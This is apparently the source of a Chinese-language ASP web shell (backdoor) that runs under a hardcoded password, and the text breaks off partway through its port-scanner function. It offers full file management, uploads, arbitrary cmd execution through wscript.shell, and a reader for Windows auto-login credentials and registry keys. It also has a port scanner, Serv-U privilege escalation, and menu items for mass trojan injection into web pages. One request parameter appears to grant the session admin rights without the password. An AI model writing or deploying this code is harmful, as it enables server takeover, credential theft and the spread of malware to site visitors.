server.scripttimeout=999999999
response.buffer =true
on error resume next
userpass="643617" '密码
mname="by:.尐飛" '后门名字
copyright="注：请勿用于非法用途，否则后果作者概不负责" '版权
server.scripttimeout=999999999
response.buffer =true
on error resume next
sub showerr()
if err then
rrs"<br><a href='javascript:history.back()'><br> " &
err.description & "</a><br>"
err.clear:response.flush
end if
end sub
sub rrs(str)
response.write(str)
end sub
function repath(s)
repath=replace(s,"","")
end function
function rrepath(s)
rrepath=replace(s,"","")
end function
url=request.servervariables("url")
serverip=request.servervariables("local_addr")
action=request("action")
rootpath=server.mappath(".")
wwwroot=server.mappath("/")
serveru=request.servervariables("http_host")&url
serverp=userpass
folderpath=request("folderpath")
fname=request("fname")
backurl="<br><br><center><a href='javascript:history.back()'>返回
</a></center>"
rrs"<html><meta http-equiv=""content-type"" content=""text/html;
charset=gb2312"">"
rrs"<title>"&mname1&" - "&serverip&" </title>"
rrs"<style type=""text/css"">"
rrs"body,td{font-size: 12px;background-color:#000000;color:#eee;}"
rrs"input,select,textarea{font-size: 12px;background-
color:#ddd;border:1px solid #fff}"
rrs".c{background-color:#000000;border:0px}"
rrs".cmd{background-color:#000;color:#fff}"
rrs"body{margin: 0px;margin-left:4px;}"
rrs"a{color:#ddd;text-decoration: none;}a:hover
{color:red;background:#000}"
rrs".am{color:#888;font-size:11px;}"
rrs"</style>"
rrs"<script language=javascript>function killerrors(){return true;}
window.onerror=killerrors;"
rrs"function yesok(){if (confirm(""确认要执行此操作吗？""))return
true;else return false;}"
rrs"function runclock(){thetime = window.settimeout(""runclock()"",
100);var today = new date();var display= today.tolocalestring
();window.status=""→"&ad&" --""+display;}runclock();"
rrs"function showfolder(folder){top.addrform.folderpath.value =
folder;top.addrform.submit();}"
rrs"function fullform(fname,faction){top.hideform.fname.value =
fname;if(faction==""copyfile""){dname = prompt(""请输入复制到目标文件全
名称"",fname);top.hideform.fname.value += ""||||""+dname;}else if
(faction==""movefile""){dname = prompt(""请输入移动到目标文件全名
称"",fname);top.hideform.fname.value += ""||||""+dname;}else if
(faction==""copyfolder""){dname = prompt(""请输入移动到目标文件夹全名称
"",fname);top.hideform.fname.value += ""||||""+dname;}else if
(faction==""movefolder""){dname = prompt(""请输入移动到目标文件夹全名称
"",fname);top.hideform.fname.value += ""||||""+dname;}else if
(faction==""newfolder""){dname = prompt(""请输入要新建的文件夹全名
称"",fname);top.hideform.fname.value = dname;}else{dname = ""other"";}
if(dname!=null){top.hideform.action.value =
faction;top.hideform.submit();}else{top.hideform.fname.value = """";}}"
rrs"</script>"
rrs "<body"
if action="" then rrs " scroll=no"
rrs ">"
dim obt(13,2)
obt(0,0) = "scripting.filesystemobject"
obt(0,2) = "文件操作组件"
obt(1,0) = "wscript.shell"
obt(1,2) = "命令行执行组件"
obt(2,0) = "adox.catalog"
obt(2,2) = "access建库组件"
obt(3,0) = "jro.jetengine"
obt(3,2) = "access压缩组件"
obt(4,0) = "scripting.dictionary"
obt(4,2) = "数据流上传辅助组件"
obt(5,0) = "adodb.connection"
obt(5,2) = "数据库连接组件"
obt(6,0) = "adodb.stream"
obt(6,2) = "数据流上传组件"
obt(7,0) = "softartisans.fileup"
obt(7,2) = "sa-fileup 文件上传组件"
obt(8,0) = "lyfupload.uploadfile"
obt(8,2) = "刘云峰文件上传组件"
obt(9,0) = "persits.upload.1"
obt(9,2) = "aspupload 文件上传组件"
obt(10,0) = "jmail.smtpmail"
obt(10,2) = "jmail 邮件收发组件"
obt(11,0) = "cdonts.newmail"
obt(11,2) = "虚拟smtp发信组件"
obt(12,0) = "smtpmail.smtpmail.1"
obt(12,2) = "smtpmail发信组件"
obt(13,0) = "microsoft.xmlhttp"
obt(13,2) = "数据传输组件"
for i=0 to 13
set t=server.createobject(obt(i,0))
if -2147221005 <> err then
isobj=" √"
else
isobj=" ×"
err.clear
end if
set t=nothing
obt(i,1)=isobj
next
if folderpath<>"" then
session("folderpath")=rrepath(folderpath)
end if
if session("folderpath")="" then
folderpath=rootpath
session("folderpath")=folderpath
end if
function mainform()
rrs"<form name=""hideform"" method=""post"" action="""&url&"""
target=""fileframe"">"
rrs"<input type=""hidden"" name=""action"">"
rrs"<input type=""hidden"" name=""fname"">"
rrs"</form>"
rrs"<table width='100%' height='100%' border=0 cellpadding='0'
cellspacing='0'>"
rrs"<tr><td height='30' colspan='2'>"
rrs"<table width='100%'>"
rrs"<form name='addrform' method='post' action='"&url&"'
target='_parent'>"
rrs"<tr><td width='60' align='center'>地址栏：</td><td>"
rrs"<input name='folderpath' style='width:100%' value='"&session
("folderpath")&"'>"
rrs"</td><td width='140' align='center'><input name='submit'
type='submit' value='转到'> <input type='submit' value='刷新主窗口'
onclick='fileframe.location.reload()'>"
rrs"</td></tr></form></table></td></tr><tr><td width='170'>"
rrs"<iframe name='left' src='?action=mainmenu' width='100%'
height='100%' frameborder='0'></iframe></td>"
rrs"<td>"
rrs"<iframe name='fileframe' src='?action=show1file' width='100%'
height='100%' frameborder='1'></iframe>"
rrs"</td></tr></table>"
end function
if request("web")="admin" then
session("web2a2dmin") = userpass
url()
end if
function mainform()
rrs"<form name=""hideform"" method=""post"" action="""&url&"""
target=""fileframe"">"
rrs"<input type=""hidden"" name=""action"">"
rrs"<input type=""hidden"" name=""fname"">"
rrs"</form>"
rrs"<table width='100%' height='100%' border=0 cellpadding='0'
cellspacing='0'>"
rrs"<tr><td height='30' colspan='2'>"
rrs"<table width='100%'>"
rrs"<form name='addrform' method='post' action='"&url&"'
target='_parent'>"
rrs"<tr><td width='60' align='center'>地址栏：</td><td>"
rrs"<input name='folderpath' style='width:100%' value='"&session
("folderpath")&"'>"
rrs"</td><td width='140' align='center'><input name='submit'
type='submit' value='转到'> <input type='submit' value='刷新主窗口'
onclick='fileframe.location.reload()'>"
rrs"</td></tr></form></table></td></tr><tr><td width='170'>"
rrs"<iframe name='left' src='?action=mainmenu' width='100%'
height='100%' frameborder='0'></iframe></td>"
rrs"<td>"
rrs"<iframe name='fileframe' src='?action=show1file' width='100%'
height='100%' frameborder='1'></iframe>"
rrs"</td></tr></table>"
end function
function mainmenu()
rrs"<table width='100%' cellspacing='0' cellpadding='0'>"
rrs"<tr><td height='5'></td></tr>"
rrs"<tr><td><center><a href='"&siteurl2&"' target='_blank'><font
color=red>"&mname2&"</font></center></a><hr hight=1 width='100%'>"
rrs"</td></tr>"
if obt(0,1)=" ×" then
rrs"<tr><td height='24'>无权限</td></tr>"
else
rrs"<tr><td height=22 onmouseover=""menu1.style.display=''""> ↓查看硬
盘<div id=menu1 style=""width:100%;display='none'""
onmouseout=""menu1.style.display='none'"">"
set abc=new lbf:rrs abc.showdriver():set abc=nothing
rrs"</div></td></tr><tr><td height='20'><a href='javascript:showfolder
("""&repath(wwwroot)&""")'>->站点根目录</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:showfolder("""&repath
(rootpath)&""")'>→本程序目录</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:showfolder(""c:program
files"")'>→program files</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:showfolder(""c:documents
and settingsall usersdocuments"")'>->documents</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:showfolder(""c:documents
and settingsall usersapplication datasymantecpcanywhere"")'>-
>pcanywhere</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:showfolder(""c:documents
and settingsall users「开始」菜单程序"")'>->开始 <b>→</b> 程序
<hr></a></td></tr>"
end if
rrs"<tr><td height='22'><a href='?action=course' target='fileframe'>→
系统服务-用户账号</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=getterminalinfo'
target='fileframe'>→终端端口-自动登录</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=serverinfo'
target='fileframe'>→服务信息-组件支持</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=cmd1shell' target='fileframe'>
→执行cmd命令</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=scanport' target='fileframe'>
→端口扫描器</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=servu' target='fileframe'>→
serv-u提权</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=readreg' target='fileframe'>→
读取注册表</a></td></tr>"
rrs"<tr><td height='20'><a href='javascript:fullform("""&repath
(session("folderpath")&"newfolder")&""",""newfolder"")'>→新建目录
<hr></a></td></tr>"
rrs"<tr><td height='20'><a href='?action=editfile' target='fileframe'>
→新建文本</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=upfile' target='fileframe'>→
上传文件</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=kmuma' target='fileframe'>→查
找木马</b></a></td></tr>"
rrs"<tr><td height='22'><a href='?action=cplgm&m=1' target='fileframe'>
→高级挂马</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=cplgm&m=2' target='fileframe'>
→批量清马</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=cplgm&m=3' target='fileframe'>
→批量替换</a></td></tr>"
rrs"<tr><td height='22'><a href='?action=plgm' target='fileframe'></b>
→低级挂马</a></b></td></tr>"
rrs"<tr><td height='22'><a href='?action=logout' target='_top'>→退出登
录</a></td></tr>"
rrs"<tr><td align=center
style='color:red'><hr>"©right2&"</td></tr></table>"
rrs"</table>"
end function
sub unpack(thepath)
on error resume next
server.scripttimeout = 5000
dim rs, ws, str, conn, stream, connstr, thefolder
str = server.mappath(".") & ""
set rs = createobject("adodb.recordset")
set stream = createobject("adodb.stream")
set conn = createobject("adodb.connection")
connstr = "provider=microsoft.jet.oledb.4.0;data
source=" & thepath & ";"
conn.open connstr
rs.open "filedata", conn, 1, 1
stream.open
stream.type = 1
do until rs.eof
thefolder = left(rs("thepath"), instrrev(rs
("thepath"), ""))
if fsox.folderexists(str & thefolder) = false
then
createfolder(str & thefolder)
end if
stream.seteos()
stream.write rs("filecontent")
stream.savetofile str & rs("thepath"), 2
rs.movenext
loop
rs.close
conn.close
stream.close
set ws = nothing
set rs = nothing
set stream = nothing
set conn = nothing
end sub
sub createfolder(thepath)
dim i
i = instr(thepath, "")
do while i > 0
if fsox.folderexists(left(thepath, i)) = false
then
fsox.createfolder(left(thepath, i - 1))
end if
if instr(mid(thepath, i + 1), "") then
i = i + instr(mid(thepath, i + 1), "")
else
i = 0
end if
loop
end sub
function course()
si="<br><table width='600' bgcolor='menu' border='0' cellspacing='1'
cellpadding='0' align='center'>"
si=si&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>系
统用户与服务</td></tr>"
on error resume next
for each obj in getobject("winnt://.")
err.clear
if obj.starttype="" then
si=si&"<tr>"
si=si&"<td height=""20"" bgcolor=""#ffffff""> "
si=si&obj.name
si=si&"</td><td bgcolor=""#ffffff""> "
si=si&"系统用户(组)"
si=si&"</td></tr>"
si0="<tr><td height=""20"" bgcolor=""#ffffff""
colspan=""2""> </td></tr>"
end if
if obj.starttype=2 then lx="自动"
if obj.starttype=3 then lx="手动"
if obj.starttype=4 then lx="禁用"
if lcase(mid(obj.path,4,3))<>"win" and obj.starttype=2 then
si1=si1&"<tr><td height=""20""
bgcolor=""#ffffff""> "&obj.name&"</td><td height=""20""
bgcolor=""#ffffff""> "&obj.displayname&"<tr><td height=""20""
bgcolor=""#ffffff"" colspan=""2"">[启动类型:"&lx&"]<font
color=#ff0000> "&obj.path&"</font></td></tr>"
else
si2=si2&"<tr><td height=""20""
bgcolor=""#ffffff""> "&obj.name&"</td><td height=""20""
bgcolor=""#ffffff""> "&obj.displayname&"<tr><td height=""20""
bgcolor=""#ffffff"" colspan=""2"">[启动类型:"&lx&"]<font
color=#3399ff> "&obj.path&"</font></td></tr>"
end if
next
rrs si&si0&si1&si2&"</table>"
end function
function serverinfo()
si="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1'
cellpadding='0' align='center'>"
si=si&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服
务器组件信息</td></tr>"
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>服务器名</td><td bgcolor='#ffffff'> </td><td
bgcolor='#ffffff'>"&request.servervariables("server_name")&"</td></tr>"
si=si&"<form method=post action='http://www.ip138.com/index.asp'
name='ipform' target='_blank'><tr align='center'><td height='20'
width='200' bgcolor='#ffffff'>服务器ip</td><td
bgcolor='#ffffff'> </td><td bgcolor='#ffffff'>"
si=si&"<input type='text' name='ip' size='15'
value='"&request.servervariables("local_addr")
&"'style='border:0px'><input type='submit' value='查
询'style='border:0px'><input type='hidden' name='action'
value='2'></td></tr></form>"
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>服务器时间</td><td bgcolor='#ffffff'> </td><td
bgcolor='#ffffff'>"&now&" </td></tr>"
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>服务器cpu数量</td><td
bgcolor='#ffffff'> </td><td
bgcolor='#ffffff'>"&request.servervariables("number_of_processors")
&"</td></tr>"
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>服务器操作系统</td><td
bgcolor='#ffffff'> </td><td
bgcolor='#ffffff'>"&request.servervariables("os")&"</td></tr>"
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>web服务器版本</td><td
bgcolor='#ffffff'> </td><td
bgcolor='#ffffff'>"&request.servervariables("server_software")
&"</td></tr>"
for i=0 to 13
si=si&"<tr align='center'><td height='20' width='200'
bgcolor='#ffffff'>"&obt(i,0)&"</td><td bgcolor='#ffffff'>"&obt(i,1)
&"</td><td bgcolor='#ffffff' align=left>"&obt(i,2)&"</td></tr>"
next
rrs si
end function
function downfile(path)
response.clear
set osm = createobject(obt(6,0))
osm.open
osm.type = 1
osm.loadfromfile path
sz=instrrev(path,"")+1
response.addheader "content-disposition", "attachment; filename=" &
mid(path,sz)
response.addheader "content-length", osm.size
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite osm.read
response.flush
osm.close
set osm = nothing
end function
function htmlencode(s)
if not isnull(s) then
s = replace(s, ">", ">")
s = replace(s, "<", "<")
s = replace(s, chr(39), "'")
s = replace(s, chr(34), """)
s = replace(s, chr(20), " ")
htmlencode = s
end if
end function
function upfile()
if request("action2")="post" then
set u=new upc : set f=u.ua("localfile")
uname=u.form("topath")
if uname="" or f.filesize=0 then
si="<br>请输入上传的完全路径后选择一个文件上传!"
else
f.saveas uname
if err.number=0 then
si="<center><br><br><br>文件"&uname&"上传成功！</center>"
end if
end if
set f=nothing:set u=nothing
si=si&backurl
rrs si
showerr()
response.end
end if
si="<br><br><br><table border='0' cellpadding='0' cellspacing='0'
align='center'>"
si=si&"<form name='upform' method='post' action='"&url&"?
action=upfile&action2=post' enctype='multipart/form-data'>"
si=si&"<tr><td>"
si=si&"上传路径：<input name='topath' value='"&rrepath(session
("folderpath")&"diy3.asp")&"' size='40'>"
si=si&" <input name='localfile' type='file' size='25'>"
si=si&" <input type='submit' name='submit' value='上传'>"
si=si&"</td></tr></form></table>"
rrs si
end function
function cmd1shell()
checked=" checked"
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "diy3.asp"
if request("wscript")<>"yes" then checked=""
if request("cmd")<>"" then defcmd = request("cmd")
si="<form method='post'>"
si=si&"shell路径：<input name='sp' value='"&shellpath&"'
style='width:70%'> "
si=si&"<input class=c type='checkbox' name='wscript'
value='yes'"&checked&">wscript.shell"
si=si&"<input name='cmd' style='width:92%' value='"&defcmd&"'> <input
type='submit' value='执行'><textarea style='width:100%;height:440;'
class='cmd'>"
if request.form("cmd")<>"" then
if request.form("wscript")="yes" then
set cm=createobject(obt(1,0))
set dd=cm.exec(shellpath&" /c "&defcmd)
aaa=dd.stdout.readall
si=si&aaa
else
on error resume next
set ws=server.createobject("wscript.shell")
set ws=server.createobject("wscript.shell")
set fso=server.createobject("scripting.filesystemobject")
sztempfile = server.mappath("cmd.txt")
call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true)
set fs = createobject("scripting.filesystemobject")
set ofilelcx = fs.opentextfile (sztempfile, 1, false, 0)
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&aaa
end if
end if
si=si&chr(13)&"</textarea></form>"
rrs si
end function
if session("web2a2dmin")<>userpass then
if request.form("pass")<>"" then
if request.form("pass")=userpass then
session("web2a2dmin")=userpass
response.redirect url
else
rrs"<br><br><br><b><div align=center><font size='14' color='red'>注：
请勿用于非法用途，否则后果自负!!!</font></b> <br><br><br><br><b><div
align=center><font size='14' color='lime'>hack by:漫步云端
</font></b></p>"
end if
else
si="<center><div style='width:500px;border:1px solid
#222;padding:22px;margin:100px;'><br><a href='"&siteurl&"'
target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>
密码：<input name='pass' type='password' size='22'> <input
type='submit' value='登录'><hr>"©right&"</center>"
if instr(si,sic)<>0 then rrs si
end if
response.end
end if
dim t1
class upc
dim d1,d2
public function form(f)
f=lcase(f)
if d1.exists(f) then:form=d1(f):else:form="":end if
end function
public function ua(f)
f=lcase(f)
if d2.exists(f) then:set ua=d2(f):else:set ua=new fif:end if
end function
private sub class_initialize
dim
tda,tst,vbcrlf,tin,diend,t2,tlen,tfl,sfv,fstart,fend,dstart,dend,upname
set d1=createobject(obt(4,0))
if request.totalbytes<1 then exit sub
set t1 = createobject(obt(6,0))
t1.type = 1 : t1.mode =3 : t1.open
t1.write request.binaryread(request.totalbytes)
t1.position=0 : tda =t1.read : dstart = 1
dend = lenb(tda)
set d2=createobject(obt(4,0))
vbcrlf = chrb(13) & chrb(10)
set t2 = createobject(obt(6,0))
tst = midb(tda,1, instrb(dstart,tda,vbcrlf)-1)
tlen = lenb (tst)
dstart=dstart+tlen+1
while (dstart + 10) < dend
diend = instrb(dstart,tda,vbcrlf & vbcrlf)+3
t2.type = 1 : t2.mode =3 : t2.open
t1.position = dstart
t1.copyto t2,diend-dstart
t2.position = 0 : t2.type = 2 : t2.charset ="gb2312"
tin = t2.readtext : t2.close
dstart = instrb(diend,tda,tst)
fstart = instr(22,tin,"name=""",1)+6
fend = instr(fstart,tin,"""",1)
upname = lcase(mid (tin,fstart,fend-fstart))
if instr (45,tin,"filename=""",1) > 0 then
set tfl=new fif
fstart = instr(fend,tin,"filename=""",1)+10
fend = instr(fstart,tin,"""",1)
fstart = instr(fend,tin,"content-type: ",1)+14
fend = instr(fstart,tin,vbcr)
tfl.filestart =diend
tfl.filesize = dstart -diend -3
if not d2.exists(upname) then
d2.add upname,tfl
end if
else
t2.type =1 : t2.mode =3 : t2.open
t1.position = diend : t1.copyto t2,dstart-diend-3
t2.position = 0 : t2.type = 2
t2.charset ="gb2312"
sfv = t2.readtext
t2.close
if d1.exists(upname) then
d1(upname)=d1(upname)&", "&sfv
else
d1.add upname,sfv
end if
end if
dstart=dstart+tlen+1
wend
tda=""
set t2 =nothing
end sub
private sub class_terminate
if request.totalbytes>0 then
d1.removeall:d2.removeall
set d1=nothing:set d2=nothing
t1.close:set t1 =nothing
end if
end sub
end class
class fif
dim filesize,filestart
private sub class_initialize
filesize = 0
filestart= 0
end sub
public function saveas(f)
dim t3
saveas=true
if trim(f)="" or filestart=0 then exit function
set t3=createobject(obt(6,0))
t3.mode=3 : t3.type=1 : t3.open
t1.position=filestart
t1.copyto t3,filesize
t3.savetofile f,2
t3.close
set t3=nothing
saveas=false
end function
end class
class lbf
dim cf
private sub class_initialize
set cf=createobject(obt(0,0))
end sub
private sub class_terminate
set cf=nothing
end sub
function showdriver()
for each d in cf.drives
rrs" <a href='javascript:showfolder
("""&d.driveletter&":"")'>本地磁盘 ("&d.driveletter&":)</a><br>"
next
end function
function show1file(path)
set fold=cf.getfolder(path)
i=0
si="<table width='100%' border='0' cellspacing='0'
cellpadding='0'><tr>"
for each f in fold.subfolders
si=si&"<td height=10>"
si=si&"<a href='javascript:showfolder("""&repath(path&""&f.name)
&""")' title=""打开""><font face='wingdings'
size='6'>0</font>"&f.name&"</a>"
si=si&" _<a href='javascript:fullform("""&repath
(path&""&f.name)&""",""copyfolder"")' onclick='return yesok()'
class='am' title='复制'>复制</a>"
si=si&" <a href='javascript:fullform("""&replace
(path&""&f.name,"","")&""",""delfolder"")' onclick='return yesok
()' class='am' title='删除'>删除</a>"
si=si&" <a href='javascript:fullform("""&repath
(path&""&f.name)&""",""movefolder"")' onclick='return yesok()'
class='am' title='移动'>移动</a>"
si=si&" <a href='javascript:fullform("""&repath
(path&""&f.name)&""",""downfile"")' onclick='return yesok()'
class='am' title='下载'>下载</a></td>"
i=i+1
if i mod 3 = 0 then si=si&"</tr><tr>"
next
si=si&"</tr><tr><td height=2></td></tr></table>"
rrs si &"<hr noshade color=""#cccccc"" size=1 color=""#"" />" :
si=""
for each l in fold.files
si="<table width='100%' border='0' cellspacing='0'
cellpadding='0'>"
si=si&"<tr style='boungroup-color:#'>"
si=si&"<td height='30'><a href='javascript:fullform("""&repath
(path&""&l.name)&""",""downfile"");' title='下载'><font
face='wingdings' size='4'>2</font>"&l.name&"</a></td>"
si=si&"<td width='40' align=""center""><a
href='javascript:fullform("""&repath(path&""&l.name)
&""",""editfile"")' class='am' title='编辑'>编辑</a></td>"
si=si&"<td width='40' align=""center""><a
href='javascript:fullform("""&repath(path&""&l.name)&""",""delfile"")'
onclick='return yesok()' class='am' title='删除'>删除</a></td>"
si=si&"<td width='40' align=""center""><a
href='javascript:fullform("""&repath(path&""&l.name)
&""",""copyfile"")' class='am' title='复制'>复制</a></td>"
si=si&"<td width='40' align=""center""><a
href='javascript:fullform("""&repath(path&""&l.name)
&""",""movefile"")' class='am' title='移动'>移动</a></td>"
si=si&"<td width='50' align=""center"">"&clng(l.size/1024)&"k</td>"
si=si&"<td width='200' align=""center"">"&l.type&"</td>"
si=si&"<td width='160'>"&l.datelastmodified&"</td>"
si=si&"</tr></table>"
rrs si:si=""
next
set fold=nothing
end function
function delfile(path)
if cf.fileexists(path) then
cf.deletefile path
si="<center><br><br><br>文件 "&path&" 删除成功！</center>"
si=si&backurl
rrs si
end if
end function
function editfile(path)
if request("action2")="post" then
set t=cf.createtextfile(path)
t.writeline request.form("content")
t.close
set t=nothing
si="<center><br><br><br>文件保存成功！</center>"
si=si&backurl
rrs si
response.end
end if
if path<>"" then
set t=cf.opentextfile(path, 1, false)
txt=htmlencode(t.readall)
t.close
set t=nothing
else
path=session("folderpath")&"newfile.asp":txt="新建文件"
end if
si=si&"<form action='"&url&"?action2=post' method='post'
name='editform'>"
si=si&"<input name='action' value='editfile' type='hidden'>"
si=si&"<input name='fname' value='"&path&"' style='width:100%'><br>"
si=si&"<textarea name='content'
style='width:100%;height:450'>"&txt&"</textarea><br>"
si=si&"<hr><input name='goback' type='button' value='返回'
onclick='history.back();'> <input name='reset'
type='reset' value='重置'> <input name='submit'
type='submit' value='保存'></form>"
rrs si
end function
function copyfile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.copyfile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"复制成功！</center>"
si=si&backurl
rrs si
end if
end function
function movefile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.movefile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"移动成功！</center>"
si=si&backurl
rrs si
end if
end function
function delfolder(path)
if cf.folderexists(path) then
cf.deletefolder path
si="<center><br><br><br>目录"&path&"删除成功！</center>"
si=si&backurl
rrs si
end if
end function
function copyfolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.copyfolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"复制成功！</center>"
si=si&backurl
rrs si
end if
end function
function movefolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.movefolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"移动成功！</center>"
si=si&backurl
rrs si
end if
end function
function newfolder(path)
if not cf.folderexists(path) and path<>"" then
cf.createfolder path
si="<center><br><br><br>目录"&path&"新建成功！</center>"
si=si&backurl
rrs si
end if
end function
end class
sub getterminalinfo()
on error resume next
set wsx = server.createobject("wscript.shell")
dim terminalportpath, terminalportkey, termport
dim autologinpath, autologinuserkey, autologinpasskey
dim isautologinenable, autologinenablekey, autologinusername,
autologinpassword
terminalportpath = "hklmsystemcurrentcontrolsetcontrolterminal
serverwinstationsrdp-tcp"
terminalportkey = "portnumber"
termport = wsx.regread(terminalportpath & terminalportkey)
rrs "终端服务端口及自动登录<hr/><ol>"
if termport = "" or err.number <> 0 then
rrs"无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
else
rrs "当前终端服务端口: " & termport & "<br/>"
end if
autologinpath = "hkey_local_machinesoftwaremicrosoftwindows
ntcurrentversionwinlogon"
autologinenablekey = "autoadminlogon"
autologinuserkey = "defaultusername"
autologinpasskey = "defaultpassword"
isautologinenable = wsx.regread(autologinpath & autologinenablekey)
if isautologinenable = 0 then
rrs "系统自动登录功能未开启<br/>"
else
autologinusername = wsx.regread(autologinpath & autologinuserkey)
rrs "自动登录的系统帐户: " & autologinusername & "<br>"
autologinpassword = wsx.regread(autologinpath & autologinpasskey)
if err then
err.clear
rrs "false"
end if
rrs "自动登录的帐户密码: " & autologinpassword & "<br>"
end if
rrs "</ol>"
end sub
sub readreg()
rrs "注册表键值读取:<hr/>"
rrs "<form method=post>"
rrs "<input type=hidden value=readreg name=theact>"
rrs "<input name=thepath
value='hklmsystemcurrentcontrolsetcontrolcomputernamecomputername
computername' size=80>"
rrs " <input type=submit value=' 读取 '>"
rrs "<span id=regeditinfo style='display:none;'><hr/>"
rrs "hklmsoftwaremicrosoftwindowscurrentversionwinlogondont-
displaylastusername,reg_sz,1 {不显示上次登录用户}<br/>"
rrs
"hklmsystemcurrentcontrolsetcontrollsarestrictanonymous,reg_dword,
0 {0=缺省,1=匿名用户无法列举本机用户列表,2=匿名用户无法连接本机ipc$共享
}<br/>"
rrs
"hklmsystemcurrentcontrolsetserviceslanmanserverparametersautosha
reserver,reg_dword,0 {禁止默认共享}<br/>"
rrs
"hklmsystemcurrentcontrolsetserviceslanmanserverparametersenables
harednetdrives,reg_sz,0 {关闭网络共享}<br/>"
rrs
"hklmsystemcurrentcontrolsetservicestcpipparametersenablesecurity
filters,reg_dword,1 {启用tcp/ip筛选(所有试配器)}<br/>"
rrs "hklmsystemcontrolset001
servicestcpipparametersipenablerouter,reg_dword,1 {允许ip路由}
<br/>"
rrs "-------以下似乎要看绑定的网卡,不知道是否准确---------<br/>"
rrs
"hklmsystemcurrentcontrolsetservicestcpipparametersinterfaces{8a
465128-8e99-4b0c-aff3-1348dc55eb2e}defaultgateway,reg_muti_sz {默认网
关}<br/>"
rrs
"hklmsystemcurrentcontrolsetservicestcpipparametersinterfaces{8a
465128-8e99-4b0c-aff3-1348dc55eb2e}nameserver {首dns}<br/>"
rrs "hklmsystemcontrolset001
servicestcpipparametersinterfaces{8a465128-8e99-4b0c-aff3-
1348dc55eb2e}tcpallowedports {允许的tcp/ip端口}<br/>"
rrs "hklmsystemcontrolset001
servicestcpipparametersinterfaces{8a465128-8e99-4b0c-aff3-
1348dc55eb2e}udpallowedports {允许的udp端口}<br/>"
rrs "-----------over--------------------<br/>"
rrs "hklmsystemcontrolset001servicestcpipenumcount {共几块活动网
卡}<br/>"
rrs "hklmsystemcontrolset001servicestcpiplinkagebind {当前网卡的
序列(把上面的替换)}<br/>"
rrs "</span>"
rrs "</form><hr/>"
if request("thepath")<>"" then
on error resume next
set wsx = server.createobject("wscript.shell")
thepath=request("thepath")
thearray=wsx.regread(thepath)
if isarray(thearray) then
for i=0 to ubound(thearray)
rrs "<li>" & thearray(i)
next
else
rrs "<li>" & thearray
end if
end if
end sub
sub scanport()
server.scripttimeout = 7776000
if request.form("port")="" then
portlist="21,23,25,80,110,135,139,445,1433,3389,43958"
else
portlist=request.form("port")
end if
if request.form("ip")="" then
ip="127.0.0.1"
else
ip=request.form("ip")
end if
rrs"<p>端口扫描器</p>"
rrs"<form name='form1' method='post' action=''
onsubmit='form1.submit.disabled=true;'>"
rrs"<p>scan ip: "
rrs" <input name='ip' type='text' class='textbox' id='ip'
value='"&request.servervariables("local_addr")&"' size='60'>"
rrs"<br>port list:"
rrs"<input name='port' type='text' class='textbox' size='60'
value='"&portlist&"'>"
rrs"<br><br>"
rrs"<input name='submit' type='submit' class='buttom' value=' 扫描 '>"
rrs"<input name='scan' type='hidden' id='scan' value='111'>"
rrs"</p></form>"
if request.form("scan") <> "" then
timer1 = timer
rrs("<b>扫描报告:</b><br><hr>")
tmp = split(request.form("port"),",")
ip = split(request.form("ip"),",")
for hu = 0 to ubound(ip)
if instr(ip(hu),"-") = 0 then
for i = 0 to ubound(tmp)
if isnumeric(tmp(i)) then
call scan(ip(hu), tmp(i))
else
seekx = instr(tmp(i), "-")
if seekx > 0 then
startn = left(tmp(i), seekx - 1 )
endn = right(tmp(i), len(tmp(i)) - seekx )
if isnumeric(startn) and isnumeric(endn) then
for j = startn to endn
call scan(ip(hu), j)
next
else
rrs(startn & " or " & endn & " is not number<br>")
end if
else
rrs(tmp(i) & " is not number<br>")
end if
end if
next
else
ipstart = mid(ip(hu),1,instrrev(ip(hu),"."))
for xxx = mid(ip(hu),instrrev(ip(hu),".")+1,1) to mid(ip(hu),instr(ip
(hu),"-")+1,len(ip(hu))-instr(ip(hu),"-"))
for i = 0 to ubound(tmp)
if isnumeric(tmp(i)) then
call scan(ipstart & xxx, tmp(i))
else
seekx = instr(tmp(i), "-")
if seekx > 0 then
startn = left(tmp(i), seekx - 1 )
endn = right(tmp(i), len(tmp(i)) - seekx )
if isnumeric(startn) and isnumeric(endn) then
for j = startn to endn
call scan(ipstart & xxx,j)
next
else
rrs(startn & " or " & endn & " is not number<br>")
end if
